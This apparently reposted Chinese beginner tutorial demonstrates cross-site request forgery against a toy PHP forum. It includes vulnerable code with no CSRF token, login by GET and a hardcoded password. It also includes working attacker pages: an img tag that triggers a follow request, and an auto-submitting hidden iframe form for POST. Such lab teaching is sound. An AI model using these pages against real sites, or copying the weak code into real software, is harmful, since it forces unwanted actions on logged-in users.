模拟一次CSRF(跨站请求伪造)例子,适合新手
GET請求偽造
有一個論壇網站,網站有一個可以關注用戶的接口,但是必須登錄的用戶才可以關注其他用戶。
這個網站的網站是www.a.com
有一天有一個程序員想提高自己的知名度,決定利用CSRF讓大家關注自己
》》該論壇的目錄結構和源碼資源
index.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>主頁</title> 8 </head> 9 <body> 10 <form action="start.php" method="GET"> 11 <input type="text" name="startname" /><br> 12 <input type="submit" value="關注他" /><br> 13 </form> 14 </body> 15 </html>login.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>登陸界面</title> 8 </head> 9 <body> 10 <form action="login.php" method="GET"> 11 <input type="text" name="username" id="name"/><br> 12 <input type="password" name="password" /><br> 13 <input type="submit" value="登陸"/><br> 14 </form> 15 </body> 16 </html>login.php
1 <?php 2 session_start(); 3 if(isset($_GET['username']) && isset($_GET['password'])){ 4 $name=$_GET['username']; 5 $password=$_GET['password']; 6 if($name=="zhangshan" && $password=="wwwww"){ 7 echo "登陸成功,正在跳轉。。。。"; 8 setcookie('loginstate',"$name"); 9 $_SESSION["$name"]=$name; 10 echo '<meta http-equiv="refresh" content="0;url=index.html" />'; 11 }else{ 12 echo "登陸失敗,重新登陸......"; 13 echo '<meta http-equiv="refresh" content="3;url=login.html" />'; 14 } 15 }else{ 16 echo "輸入有誤。。。。。密碼不正確"; 17 echo '<meta http-equiv="refresh" content="1;url=login.html" />'; 18 } 19 ?>關注的接口,關注之后會打日志到log.txt
1 <?php 2 session_start(); 3 if(isset($_GET['startname'])){ 4 if(isset($_COOKIE['loginstate'])){ 5 $name=$_SESSION[$_COOKIE['loginstate']]; 6 $startname=$_GET['startname']; 7 echo "當前登陸用戶為$name"; 8 echo "<br>"; 9 echo "尊敬的$name,你已經成功關注了$startname"; 10 $myfile = fopen("log.txt", "w") or die("Unable to open file!"); 11 $txt = "尊敬的$name,你已經成功關注了$startname"."\n"; 12 fwrite($myfile, $txt); 13 fclose($myfile); 14 }else{ 15 echo "你還沒有登陸,跳轉中。。。。。"; 16 echo '<meta http-equiv="refresh" content="3;url=login.html" />'; 17 } 18 }else{ 19 echo "請輸入你要關注的用戶"; 20 echo '<meta http-equiv="refresh" content="0;url=index.html" />'; 21 } 22 ?>?
》》攻擊者的網站
?攻擊者的網站的一個頁面是這樣的
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>Document</title> 8 </head> 9 <body> 10 如果,客戶端不久前登陸過www.a.com, 11 打開此頁,自動關注,woshihaore 12 <img src="http://www.a.com/start.php?startname=woshihaoren" /> 13 </body> 14 </html>這樣的話,只要用戶在登陸過a網站之后,在瀏覽器中打開b網站的這個網頁,就會自動執行該接口,關注自己,提高關注量的目的達到
》》攻擊者可以將鏈接放在任何可以被瀏覽器解析并發送請求的地方
如果該接口使用的POST傳值的話也是可以的,需要在攻擊者的網頁上構造一個form表單,但是form表單提交是非跨域的請求,所以請求并不會提交,
但是使用iframe可以解決這個問題,iframe可以解決跨域的問題。
————————————————————————————————————————————————————————————————————————————
有些時候,網站可能采用POST來提交參數,但是form表單受制于同源策略的影響,這種情況下的跨域提交數據。
跨域POST請求偽造之邪惡的iframe
有 一個網站a,存在一個接口,這個接口允許已經登陸的用戶,關注別的用戶,這個接口需要一個被關注的用戶的用戶名參數,該接口使用POST傳參數
網站a的源碼結構
index.html頁面使用用戶登陸后的頁面,這個頁面的的form表單提交一個被關注人的用戶名
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>主頁</title> </head> <body><form action="start.php" method="POST"><input type="text" name="startname" /><br><input type="submit" value="關注他" /><br></form> </body> </html>?
log.txt為日志輸出,用戶關注的信息會輸出到這個日志文件
login.html---為登陸的前端頁面
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>登陸界面</title> </head> <body><form action="login.php" method="GET"><input type="text" name="username" id="name"/><br><input type="password" name="password" /><br><input type="submit" value="登陸"/><br></form> </body> </html>?
login.php---為登陸的后臺頁面,簡單的生成session會話
<?phpsession_start();if(isset($_GET['username']) && isset($_GET['password'])){$name=$_GET['username'];$password=$_GET['password'];if($name=="zhangshan" && $password=="wwwww"){echo "登陸成功,正在跳轉。。。。";setcookie('loginstate',"$name");$_SESSION["$name"]=$name;echo '<meta http-equiv="refresh" content="0;url=index.html" />';}else{echo "登陸失敗,重新登陸......";echo '<meta http-equiv="refresh" content="3;url=login.html" />';}}else{echo "輸入有誤。。。。。密碼不正確";echo '<meta http-equiv="refresh" content="1;url=login.html" />';} ?>?
?start.php---為關注用戶的后臺接口,接收POST傳值
<?php session_start(); if(isset($_POST['startname'])){if(isset($_COOKIE['loginstate'])){$name=$_SESSION[$_COOKIE['loginstate']];$startname=$_POST['startname'];echo "當前登陸用戶為$name";echo "<br>";echo "尊敬的$name,你已經成功關注了$startname";$myfile = fopen("log.txt", "w") or die("Unable to open file!");$txt = "尊敬的$name,你已經成功關注了$startname"."\n";fwrite($myfile, $txt);fclose($myfile); }else{echo "你還沒有登陸,跳轉中。。。。。";echo '<meta http-equiv="refresh" content="3;url=login.html" />';} }else{echo "請輸入你要關注的用戶";echo '<meta http-equiv="refresh" content="0;url=index.html" />'; } ?>?
網站b作為攻擊者的網站,網站b的目錄結構
?
?
index.html
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>測試跨站請求偽造POST</title><script type="text/javascript">function csrf(){window.frames['steal'].document.forms[0].submit();}</script> </head><body onload="csrf()"><iframe display="none" name="steal" src="./csrf.html"></iframe> </body> </html>?
csrf.html
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title> </head> <body><form action="http://www.a.com/start.php" method="POST" display="none"><input type="text" name="startname" value="woshihaoren"/><br><input type="submit" value="關注他" /><br></form> </body> </html>?
這種通過在iframe中嵌套form從而達到使form跨域操作。
這樣的話,登陸了a網站的人,再訪問b網站的主頁就會自動關注表單提交的用戶名。?
?
轉載于:https://www.cnblogs.com/smallsima/p/8675523.html
總結
以上是生活随笔為你收集整理的模拟一次CSRF(跨站请求伪造)例子,适合新手的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: hihocoder1051 补提交卡(贪
- 下一篇: java 实现一段文字中,出现次数最多的